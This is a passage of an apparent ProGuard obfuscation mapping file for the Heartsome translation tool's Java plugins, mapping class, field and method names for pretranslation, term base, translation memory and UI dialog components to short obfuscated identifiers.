updateXliffFile(net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean,java.util.List,com.ximpleware.XMLModifier,boolean) -> a + java.lang.String executeSimpleMatch(net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean,com.ximpleware.XMLModifier) -> a + void lockTransUnit(com.ximpleware.VTDNav,com.ximpleware.XMLModifier) -> a + boolean checkTuCurrentMatch(net.heartsome.xml.vtdimpl.VTDUtils,java.util.Vector) -> a + net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean getTransUnitInfo(net.heartsome.xml.vtdimpl.VTDUtils) -> e + void getTuContext(net.heartsome.xml.vtdimpl.VTDUtils,int,net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) -> a + void keepHigherMatchs(net.heartsome.xml.vtdimpl.VTDUtils,java.lang.String,java.lang.String,com.ximpleware.XMLModifier,org.eclipse.core.runtime.IProgressMonitor) -> b + void overwriteMatchs(net.heartsome.xml.vtdimpl.VTDUtils,java.lang.String,java.lang.String,com.ximpleware.XMLModifier,org.eclipse.core.runtime.IProgressMonitor) -> c + boolean isDuplicated(java.util.Vector,java.util.Hashtable) -> a + java.lang.String generateTargetNodeXML(net.heartsome.cat.common.bean.FuzzySearchResult,net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) -> a + java.lang.String generateAltTransUnitNodeXML(java.util.List) -> E +net.heartsome.cat.ts.pretranslation.PreTranslation$FindMatchComparator -> net.heartsome.cat.ts.pretranslation.g: + net.heartsome.cat.ts.pretranslation.PreTranslation this$0 -> AA + int compare(java.util.Hashtable,java.util.Hashtable) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.pretranslation.PreTranslation$SimilarityComparator -> net.heartsome.cat.ts.pretranslation.h: + net.heartsome.cat.ts.pretranslation.PreTranslation this$0 -> AA + int compare(java.lang.String,java.lang.String) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.pretranslation.bean.ImageConstants -> net.heartsome.cat.ts.pretranslation.bean.b: + java.lang.String PRE_TRANSLTATION_LOGO -> AH +net.heartsome.cat.ts.pretranslation.bean.PreTransParameters -> net.heartsome.cat.ts.pretranslation.bean.c: + int KEEP_OLD_TARGET -> ako + int KEEP_BEST_MATCH_TARGET -> akR + int KEEP_NEW_TARGET -> akS + int LowestMatchPercent -> akT + boolean ignoreCase -> ignoreCase + boolean ignoreTag -> vQ + int panalty -> akU + int updateStrategy -> Aw + boolean lockFullMatch -> AI + boolean lockContextMatch -> AJ + int getLowestMatchPercent() -> iS + void setLowestMatchPercent(int) -> D + boolean getIgnoreCase() -> getIgnoreCase + void setIgnoreCase(boolean) -> setIgnoreCase + boolean getIgnoreTag() -> kj + void setIgnoreTag(boolean) -> l + void setUpdateStrategy(int) -> S + void setLockFullMatch(boolean) -> U + void setLockContextMatch(boolean) -> V + int getUpdateStrategy() -> fX + boolean isLockFullMatch() -> fY + boolean isLockContextMatch() -> fZ + int getPanalty() -> lh + void setPanalty(int) -> al +net.heartsome.cat.ts.pretranslation.bean.PreTranslationCounter -> net.heartsome.cat.ts.pretranslation.bean.d: + int transTuCount -> AL + int lockedFullCount -> AM + int lockedContextCount -> AN + int tuNumber -> AO + java.lang.String currentFile -> AP + void countTransTu() -> ga + void countLockedFullMatch() -> gb + void countLockedContextmatch() -> gc + int getTransTuCount() -> gd + int getLockedFullCount() -> ge + int getLockedContextCount() -> gf + int getTuNumber() -> gg + void setTuNumber(int) -> s + java.lang.String getCurrentFile() -> gh +net.heartsome.cat.ts.pretranslation.converter.ExecutePreTranslationImpl -> net.heartsome.cat.ts.pretranslation.converter.a: + void executePreTranslation(java.util.List) -> executePreTranslation +net.heartsome.cat.ts.pretranslation.dialog.PreTranslationDialog -> net.heartsome.cat.ts.pretranslation.dialog.a: + org.eclipse.jface.viewers.TableViewer viewer -> qF + java.util.Map xliffInofs -> AR + net.heartsome.cat.ts.pretranslation.bean.PreTransParameters parameters -> Av + org.eclipse.swt.graphics.Image logoImage -> zy + org.eclipse.swt.widgets.Button btnIgnoreCase -> akV + org.eclipse.swt.widgets.Button btnIgnoretag -> akW + org.eclipse.swt.widgets.Spinner spinner -> akX + org.eclipse.swt.widgets.Button btn101Match -> akY + org.eclipse.swt.widgets.Button btnContextMatch -> akZ + org.eclipse.swt.widgets.Button btnKeepOld -> ala + org.eclipse.swt.widgets.Button btnKeepBestMatch -> alb + org.eclipse.swt.widgets.Button btnKeepNew -> alc + org.eclipse.swt.widgets.Spinner spinnnerPanalty -> ald + org.eclipse.swt.widgets.Label lblTagPenalty -> ale + org.eclipse.jface.dialogs.IDialogSettings dialogSettings -> alf + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void createPageContent(org.eclipse.swt.widgets.Composite) -> q + void setDefaultValues() -> setDefaultValues + java.lang.String[][] getTableViewerInput() -> fP + void createLogoArea(org.eclipse.swt.widgets.Composite) -> o + org.eclipse.jface.viewers.TableViewerColumn createTableViewerColumn(org.eclipse.jface.viewers.TableViewer,java.lang.String,int,int) -> a + void okPressed() -> okPressed + boolean close() -> close + void setPanalty(boolean) -> W + org.eclipse.swt.widgets.Button access$0(net.heartsome.cat.ts.pretranslation.dialog.PreTranslationDialog) -> a + void access$1(net.heartsome.cat.ts.pretranslation.dialog.PreTranslationDialog,boolean) -> a +net.heartsome.cat.ts.pretranslation.dialog.PreTranslationDialog$1 -> net.heartsome.cat.ts.pretranslation.dialog.b: + net.heartsome.cat.ts.pretranslation.dialog.PreTranslationDialog this$0 -> AS + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.pretranslation.dialog.PreTranslationDialog$2 -> net.heartsome.cat.ts.pretranslation.dialog.c: + net.heartsome.cat.ts.pretranslation.dialog.PreTranslationDialog this$0 -> AS + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.pretranslation.dialog.PreTranslationDialog$3 -> net.heartsome.cat.ts.pretranslation.dialog.d: + net.heartsome.cat.ts.pretranslation.dialog.PreTranslationDialog this$0 -> AS + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.pretranslation.dialog.PreTranslationDialog$TableViewerLabelProvider -> net.heartsome.cat.ts.pretranslation.dialog.e: + net.heartsome.cat.ts.pretranslation.dialog.PreTranslationDialog this$0 -> AS + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.pretranslation.dialog.PreTranslationResultDialog -> net.heartsome.cat.ts.pretranslation.dialog.f: + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + java.util.List preTransResult -> AT + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + java.lang.String[][] getTableViewerInput() -> fP + org.eclipse.jface.viewers.TableViewerColumn createTableViewerColumn(org.eclipse.jface.viewers.TableViewer,java.lang.String,int,int) -> a + void setTableViewer(org.eclipse.jface.viewers.TableViewer) -> b + boolean close() -> close +net.heartsome.cat.ts.pretranslation.dialog.PreTranslationResultDialog$TableViewerLabelProvider -> net.heartsome.cat.ts.pretranslation.dialog.g: + net.heartsome.cat.ts.pretranslation.dialog.PreTranslationResultDialog this$0 -> AU + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.pretranslation.handlers.PreTranslationHandler -> net.heartsome.cat.ts.pretranslation.handlers.a: + org.slf4j.Logger logger -> logger + java.lang.String XLIFF_EDITOR_ID -> XLIFF_EDITOR_ID + java.lang.String[] getLegalFileExtensions() -> getLegalFileExtensions + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent,java.util.List) -> execute +net.heartsome.cat.ts.pretranslation.resource.Messages -> net.heartsome.cat.ts.pretranslation.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.quicktranslation.QuickTranslationImpl -> net.heartsome.cat.ts.quicktranslation.a: + net.heartsome.cat.ts.tb.match.TbMatcher tbMatcher -> Be + java.lang.String CON_SRCWORD -> Bf + java.lang.String CON_TGTWORD -> Bg + java.util.Vector executeTranslation(net.heartsome.cat.ts.core.bean.TransUnitBean,org.eclipse.core.resources.IProject) -> executeTranslation + java.util.Vector findTerms(java.lang.String,java.lang.String,java.lang.String) -> f + java.lang.String getToolId() -> getToolId + java.lang.String getMatcherType() -> getMatcherType + java.lang.String getMathcerOrigin() -> getMathcerOrigin +net.heartsome.cat.ts.quicktranslation.QuickTranslationImpl$TermComparatorByIndex -> net.heartsome.cat.ts.quicktranslation.b: + java.lang.String srcText -> fO + net.heartsome.cat.ts.quicktranslation.QuickTranslationImpl this$0 -> Bh + int compare(java.util.Hashtable,java.util.Hashtable) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.quicktranslation.QuickTranslationImpl$TermComparatorByLength -> net.heartsome.cat.ts.quicktranslation.c: + net.heartsome.cat.ts.quicktranslation.QuickTranslationImpl this$0 -> Bh + int compare(java.util.Hashtable,java.util.Hashtable) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.quicktranslation.handler.ExecuteQuickTranslation -> net.heartsome.cat.ts.quicktranslation.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.quicktranslation.resource.Messages -> net.heartsome.cat.ts.quicktranslation.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.resource.Messages -> net.heartsome.cat.ts.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.tb.importer.TbImporter -> net.heartsome.cat.ts.tb.importer.TbImporter: + org.slf4j.Logger logger -> logger + java.lang.String TERMIMPORT_EXTENSION_ID -> Bn + net.heartsome.cat.ts.tb.importer.extension.ITbImporter tbImporter -> Bo + net.heartsome.cat.ts.tb.importer.TbImporter instance -> Bp + net.heartsome.cat.ts.tb.importer.TbImporter getInstance() -> getInstance + boolean checkImporter() -> checkImporter + void clearResources() -> clearResources + void setProject(org.eclipse.core.resources.IProject) -> setProject + int executeImport(java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> executeImport + void runExtension() -> gl + org.slf4j.Logger access$0() -> access$0 + void access$1(net.heartsome.cat.ts.tb.importer.TbImporter,net.heartsome.cat.ts.tb.importer.extension.ITbImporter) -> a +net.heartsome.cat.ts.tb.importer.TbImporter$1 -> net.heartsome.cat.ts.tb.importer.TbImporter$1: + net.heartsome.cat.ts.tb.importer.TbImporter this$0 -> Bq + java.lang.Object val$o -> cA + void handleException(java.lang.Throwable) -> handleException + void run() -> run +net.heartsome.cat.ts.tb.importer.extension.ITbImporter -> net.heartsome.cat.ts.tb.importer.extension.ITbImporter: + int IMPORT_STATE_SUCCESSED -> IMPORT_STATE_SUCCESSED + int IMPORT_STATE_FAILED -> IMPORT_STATE_FAILED + int IMPORT_STATE_NODB -> IMPORT_STATE_NODB + void setProject(org.eclipse.core.resources.IProject) -> setProject + int executeImport(java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> executeImport + boolean checkImporter() -> checkImporter + void clearResources() -> clearResources +net.heartsome.cat.ts.tb.match.TbMatcher -> net.heartsome.cat.ts.tb.match.TbMatcher: + org.slf4j.Logger logger -> logger + java.lang.String TERMMATCH_EXTENSION_ID -> Br + net.heartsome.cat.ts.tb.match.extension.ITbMatch termMatch -> Bs + java.util.Vector serachTransUnitTerms(java.lang.String,java.lang.String,java.lang.String,boolean) -> serachTransUnitTerms + void setCurrentProject(org.eclipse.core.resources.IProject) -> setCurrentProject + boolean checkTbMatcher(org.eclipse.core.resources.IProject) -> checkTbMatcher + void clearResources() -> clearResources + void runExtension() -> gl + org.slf4j.Logger access$0(net.heartsome.cat.ts.tb.match.TbMatcher) -> a + void access$1(net.heartsome.cat.ts.tb.match.TbMatcher,net.heartsome.cat.ts.tb.match.extension.ITbMatch) -> a +net.heartsome.cat.ts.tb.match.TbMatcher$1 -> net.heartsome.cat.ts.tb.match.TbMatcher$1: + net.heartsome.cat.ts.tb.match.TbMatcher this$0 -> Bt + java.lang.Object val$o -> cA + void handleException(java.lang.Throwable) -> handleException + void run() -> run +net.heartsome.cat.ts.tb.match.extension.AbstractTbMatch -> net.heartsome.cat.ts.tb.match.extension.AbstractTbMatch: + java.lang.String srcPureText -> wI + java.lang.String srcLanguage -> Bu + java.lang.String tgtLanguage -> Bv + boolean isSort -> Bw + void setTuSrcPureText(java.lang.String) -> setTuSrcPureText + void setTuSrcLanguage(java.lang.String) -> setTuSrcLanguage + void setTuTgtlanguage(java.lang.String) -> setTuTgtlanguage + void setIsSortResult(boolean) -> setIsSortResult +net.heartsome.cat.ts.tb.match.extension.ITbMatch -> net.heartsome.cat.ts.tb.match.extension.ITbMatch: + java.util.Vector getTransUnitTerms() -> getTransUnitTerms + void clearResources() -> clearResources + void setProject(org.eclipse.core.resources.IProject) -> setProject + boolean checkTbMatcher(org.eclipse.core.resources.IProject) -> checkTbMatcher + void setTuSrcPureText(java.lang.String) -> setTuSrcPureText + void setTuSrcLanguage(java.lang.String) -> setTuSrcLanguage + void setTuTgtlanguage(java.lang.String) -> setTuTgtlanguage + void setIsSortResult(boolean) -> setIsSortResult +net.heartsome.cat.ts.tb.resource.Messages -> net.heartsome.cat.ts.tb.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean -> net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean: + java.lang.String srcFullText -> Bx + java.lang.String srcPureText -> wI + java.lang.String srcLanguage -> Bu + java.lang.String tgtLangugage -> By + java.lang.String preContext -> Bz + java.lang.String nextContext -> BA + void resetTuInfo() -> resetTuInfo + java.lang.String getSrcFullText() -> getSrcFullText + void setSrcFullText(java.lang.String) -> setSrcFullText + java.lang.String getSrcPureText() -> getSrcPureText + void setSrcPureText(java.lang.String) -> setSrcPureText + java.lang.String getSrcLanguage() -> getSrcLanguage + void setSrcLanguage(java.lang.String) -> setSrcLanguage + java.lang.String getTgtLangugage() -> getTgtLangugage + void setTgtLangugage(java.lang.String) -> setTgtLangugage + java.lang.String getPreContext() -> getPreContext + void setPreContext(java.lang.String) -> setPreContext + java.lang.String getNextContext() -> getNextContext + void setNextContext(java.lang.String) -> setNextContext +net.heartsome.cat.ts.tm.complexMatch.ComplexMatcherFactory -> net.heartsome.cat.ts.tm.complexMatch.ComplexMatcherFactory: + org.slf4j.Logger logger -> logger + java.lang.String EXTENSION_ID -> EXTENSION_ID + java.util.List matchers -> BB + net.heartsome.cat.ts.tm.complexMatch.ComplexMatcherFactory instance -> BC + net.heartsome.cat.ts.tm.complexMatch.ComplexMatcherFactory getInstance() -> getInstance + java.util.List getCuurentMatcher() -> getCuurentMatcher + void runExtension() -> gl + java.util.List access$0(net.heartsome.cat.ts.tm.complexMatch.ComplexMatcherFactory) -> a +net.heartsome.cat.ts.tm.complexMatch.ComplexMatcherFactory$1 -> net.heartsome.cat.ts.tm.complexMatch.ComplexMatcherFactory$1: + net.heartsome.cat.ts.tm.complexMatch.ComplexMatcherFactory this$0 -> BD + java.lang.Object val$o -> cA + void handleException(java.lang.Throwable) -> handleException + void run() -> run +net.heartsome.cat.ts.tm.complexMatch.IComplexMatch -> net.heartsome.cat.ts.tm.complexMatch.IComplexMatch: + java.util.Vector executeTranslation(net.heartsome.cat.ts.core.bean.TransUnitBean,org.eclipse.core.resources.IProject) -> executeTranslation + java.lang.String getToolId() -> getToolId + java.lang.String getMatcherType() -> getMatcherType + java.lang.String getMathcerOrigin() -> getMathcerOrigin +net.heartsome.cat.ts.tm.importer.TmImporter -> net.heartsome.cat.ts.tm.importer.TmImporter: + org.slf4j.Logger logger -> logger + java.lang.String TMIMPORTER_EXTENSION_ID -> BE + net.heartsome.cat.ts.tm.importer.extension.ITmImporter tmImporter -> BF + net.heartsome.cat.ts.tm.importer.TmImporter instance -> BG + net.heartsome.cat.ts.tm.importer.TmImporter getInstance() -> getInstance + boolean checkImporter() -> checkImporter + void setProject(org.eclipse.core.resources.IProject) -> setProject + int getContextSize() -> getContextSize + void clearResources() -> clearResources + int executeImport(java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> executeImport + void runExtension() -> gl + void access$0(net.heartsome.cat.ts.tm.importer.TmImporter,net.heartsome.cat.ts.tm.importer.extension.ITmImporter) -> a +net.heartsome.cat.ts.tm.importer.TmImporter$1 -> net.heartsome.cat.ts.tm.importer.TmImporter$1: + net.heartsome.cat.ts.tm.importer.TmImporter this$0 -> BH + java.lang.Object val$o -> cA + void handleException(java.lang.Throwable) -> handleException + void run() -> run +net.heartsome.cat.ts.tm.importer.extension.ITmImporter -> net.heartsome.cat.ts.tm.importer.extension.ITmImporter: + int IMPORT_STATE_NONE -> IMPORT_STATE_NONE + int IMPORT_STATE_SUCCESSED -> IMPORT_STATE_SUCCESSED + int IMPORT_STATE_FAILED -> IMPORT_STATE_FAILED + int IMPORT_STATE_NODB -> IMPORT_STATE_NODB + int executeImport(java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> executeImport + void setProject(org.eclipse.core.resources.IProject) -> setProject + void clearResources() -> clearResources + int getContextSize() -> getContextSize + boolean checkImporter() -> checkImporter +net.heartsome.cat.ts.tm.match.TmMatcher -> net.heartsome.cat.ts.tm.match.TmMatcher: + org.slf4j.Logger logger -> logger + java.lang.String TMMATCH_EXTENSION_ID -> BI + net.heartsome.cat.ts.tm.match.extension.ITmMatch tmTranslation -> BJ + boolean checkTmMatcher(org.eclipse.core.resources.IProject) -> checkTmMatcher + java.util.Vector executeSearch(org.eclipse.core.resources.IProject,net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) -> executeSearch + java.util.List analysTranslationUnit(org.eclipse.core.resources.IProject,net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) -> analysTranslationUnit + java.util.List executeFuzzySearch(org.eclipse.core.resources.IProject,net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) -> executeFuzzySearch + void setCustomeMatchParameters(int,boolean,int,boolean,int,int) -> setCustomeMatchParameters + void setCustomeMatchParameters(int,int) -> setCustomeMatchParameters + int getMaxMatchSize() -> getMaxMatchSize + int getTagPenalty() -> getTagPenalty + int getMinMatchQuality() -> getMinMatchQuality + boolean isIgnoreTag() -> isIgnoreTag + int getContextSize() -> getContextSize + void runExtension() -> gl + void clearResources() -> clearResources + void clearDbResources() -> clearDbResources + void deleteFuzzyResult(net.heartsome.cat.common.bean.FuzzySearchResult) -> deleteFuzzyResult + void updateFuzzResult(net.heartsome.cat.common.bean.FuzzySearchResult) -> updateFuzzResult + void access$0(net.heartsome.cat.ts.tm.match.TmMatcher,net.heartsome.cat.ts.tm.match.extension.ITmMatch) -> a +net.heartsome.cat.ts.tm.match.TmMatcher$1 -> net.heartsome.cat.ts.tm.match.TmMatcher$1: + net.heartsome.cat.ts.tm.match.TmMatcher this$0 -> BK + java.lang.Object val$o -> cA + void handleException(java.lang.Throwable) -> handleException + void run() -> run +net.heartsome.cat.ts.tm.match.extension.AbstractTmMatch -> net.heartsome.cat.ts.tm.match.extension.AbstractTmMatch: + org.slf4j.Logger logger -> logger + net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean tuInfoBean -> Ae + void setTransUnitInfo(net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) -> setTransUnitInfo +net.heartsome.cat.ts.tm.match.extension.ITmMatch -> net.heartsome.cat.ts.tm.match.extension.ITmMatch: + java.util.Vector findMatch() -> findMatch + java.util.List fuzzySearch() -> fuzzySearch + java.util.List translationUnitAnalysis() -> translationUnitAnalysis + boolean checkTmMatcher(org.eclipse.core.resources.IProject) -> checkTmMatcher + void setCustomeMatchParameters(int,boolean,int,boolean,int,int) -> setCustomeMatchParameters + void setCustomeMatchParameters(int,int) -> setCustomeMatchParameters + void setTransUnitInfo(net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) -> setTransUnitInfo + void setProject(org.eclipse.core.resources.IProject) -> setProject + int getMaxMatchSize() -> getMaxMatchSize + int getContextSize() -> getContextSize + int getMinMatchQuality() -> getMinMatchQuality + int getTagPenalty() -> getTagPenalty + boolean isIgnoreTag() -> isIgnoreTag + void clearResource() -> clearResource + void clearDbResource() -> clearDbResource + void deleteFuzzyResult(net.heartsome.cat.common.bean.FuzzySearchResult) -> deleteFuzzyResult + void updateFuzzyResult(net.heartsome.cat.common.bean.FuzzySearchResult) -> updateFuzzyResult +net.heartsome.cat.ts.tm.resource.Messages -> net.heartsome.cat.ts.tm.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher -> net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher: + java.lang.String getMatcherType() -> getMatcherType + java.lang.String getMathcerOrigin() -> getMathcerOrigin + java.lang.String getMathcerToolId() -> getMathcerToolId + boolean matchChecker() -> matchChecker + java.lang.String executeMatch(net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) -> executeMatch + boolean isSuportPreTrans() -> isSuportPreTrans + boolean isOverwriteMatch() -> isOverwriteMatch +net.heartsome.cat.ts.tm.simpleMatch.SimpleMatcherFactory -> net.heartsome.cat.ts.tm.simpleMatch.SimpleMatcherFactory: + org.slf4j.Logger logger -> logger + java.lang.String EXTENSION_ID -> EXTENSION_ID + java.util.List matchers -> BB + net.heartsome.cat.ts.tm.simpleMatch.SimpleMatcherFactory instance -> BL + net.heartsome.cat.ts.tm.simpleMatch.SimpleMatcherFactory getInstance() -> getInstance + java.util.List getCuurentMatcher() -> getCuurentMatcher + void runExtension() -> gl + java.util.List access$0(net.heartsome.cat.ts.tm.simpleMatch.SimpleMatcherFactory) -> a +net.heartsome.cat.ts.tm.simpleMatch.SimpleMatcherFactory$1 -> net.heartsome.cat.ts.tm.simpleMatch.SimpleMatcherFactory$1: + net.heartsome.cat.ts.tm.simpleMatch.SimpleMatcherFactory this$0 -> BM + java.lang.Object val$o -> cA + void handleException(java.lang.Throwable) -> handleException + void run() -> run +net.heartsome.cat.ts.ui.Activator -> net.heartsome.cat.ts.ui.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.ui.Activator plugin -> BN + org.osgi.framework.BundleContext context -> context + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.ui.Activator getDefault() -> getDefault + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor + org.eclipse.jface.resource.ImageDescriptor getIconDescriptor(java.lang.String) -> getIconDescriptor +net.heartsome.cat.ts.ui.Constants -> net.heartsome.cat.ts.ui.Constants: + java.lang.String XLIFF_EDITOR_TEXT_FONT -> XLIFF_EDITOR_TEXT_FONT + java.lang.String MATCH_VIEWER_TEXT_FONT -> MATCH_VIEWER_TEXT_FONT + char TAB_CHARACTER -> TAB_CHARACTER + char LINE_SEPARATOR_CHARACTER -> LINE_SEPARATOR_CHARACTER + char SPACE_CHARACTER -> SPACE_CHARACTER + java.util.regex.Pattern NONPRINTING_PATTERN -> NONPRINTING_PATTERN + int SEGMENT_LINE_SPACING -> SEGMENT_LINE_SPACING + int SEGMENT_TOP_MARGIN -> SEGMENT_TOP_MARGIN + int SEGMENT_BOTTOM_MARGIN -> SEGMENT_BOTTOM_MARGIN + int SEGMENT_RIGHT_MARGIN -> SEGMENT_RIGHT_MARGIN + int SEGMENT_LEFT_MARGIN -> SEGMENT_LEFT_MARGIN + java.lang.String[] arrRemove -> aia + java.util.List lstRemove -> lstRemove +net.heartsome.cat.ts.ui.advanced.ADConstants -> net.heartsome.cat.ts.ui.advanced.a: + java.lang.String sep -> ajn + java.lang.String configLocation -> ajo + java.lang.String catalogueXmlPath -> BO + java.lang.String cataloguePath -> BP + java.lang.String AD_cataBrowseFileMemory -> BQ + java.lang.String AD_xmlConverterConfigFolder -> BR + java.lang.String AD_SRXConfigFolder -> BS +net.heartsome.cat.ts.ui.advanced.Activator -> net.heartsome.cat.ts.ui.advanced.b: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.ui.advanced.Activator plugin -> BT + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.ui.advanced.Activator getDefault() -> gm + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.ui.advanced.TableViewerLabelProvider -> net.heartsome.cat.ts.ui.advanced.c: + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditCatalogDialog -> net.heartsome.cat.ts.ui.advanced.dialogs.a: + org.eclipse.swt.widgets.Button publicBtn -> BU + org.eclipse.swt.widgets.Button systermBtn -> BV + org.eclipse.swt.widgets.Button uriBtn -> BW + org.eclipse.swt.widgets.Button nextCataBtn -> BX + org.eclipse.swt.widgets.Text idTxt -> BY + org.eclipse.swt.widgets.Text urlTxt -> BZ + org.eclipse.core.resources.IWorkspaceRoot root -> root + net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler adHandler -> Ca + java.lang.String catalogXmlLocation -> Cb + org.eclipse.swt.widgets.Label idLbl -> Cc + boolean isAdd -> Cd + java.lang.String curXpath -> Ce + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void okPressed() -> okPressed + void setInitData(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> d + void displayIdTxt(boolean) -> w + void browseFiles() -> gn +net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditCatalogDialog$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.b: + net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditCatalogDialog this$0 -> Cf + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditCatalogDialog$2 -> net.heartsome.cat.ts.ui.advanced.dialogs.c: + net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditCatalogDialog this$0 -> Cf + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditCatalogDialog$3 -> net.heartsome.cat.ts.ui.advanced.dialogs.d: + net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditCatalogDialog this$0 -> Cf + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditCatalogDialog$4 -> net.heartsome.cat.ts.ui.advanced.dialogs.e: + net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditCatalogDialog this$0 -> Cf + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditCatalogDialog$5 -> net.heartsome.cat.ts.ui.advanced.dialogs.f: + net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditCatalogDialog this$0 -> Cf + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditElementOfXmlConvertDialog -> net.heartsome.cat.ts.ui.advanced.dialogs.g: + boolean isAdd -> Cd + org.eclipse.swt.widgets.Text nameTxt -> Cg + org.eclipse.swt.widgets.Combo typeCmb -> Ch + org.eclipse.swt.widgets.Combo inlineCmb -> Ci + org.eclipse.swt.widgets.Text transAtrriTxt -> Cj + org.eclipse.swt.widgets.Combo remainSpaceCmb -> Ck + java.util.List elementsList -> Cl + net.heartsome.cat.ts.ui.advanced.model.ElementBean currentElement -> Cm + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void 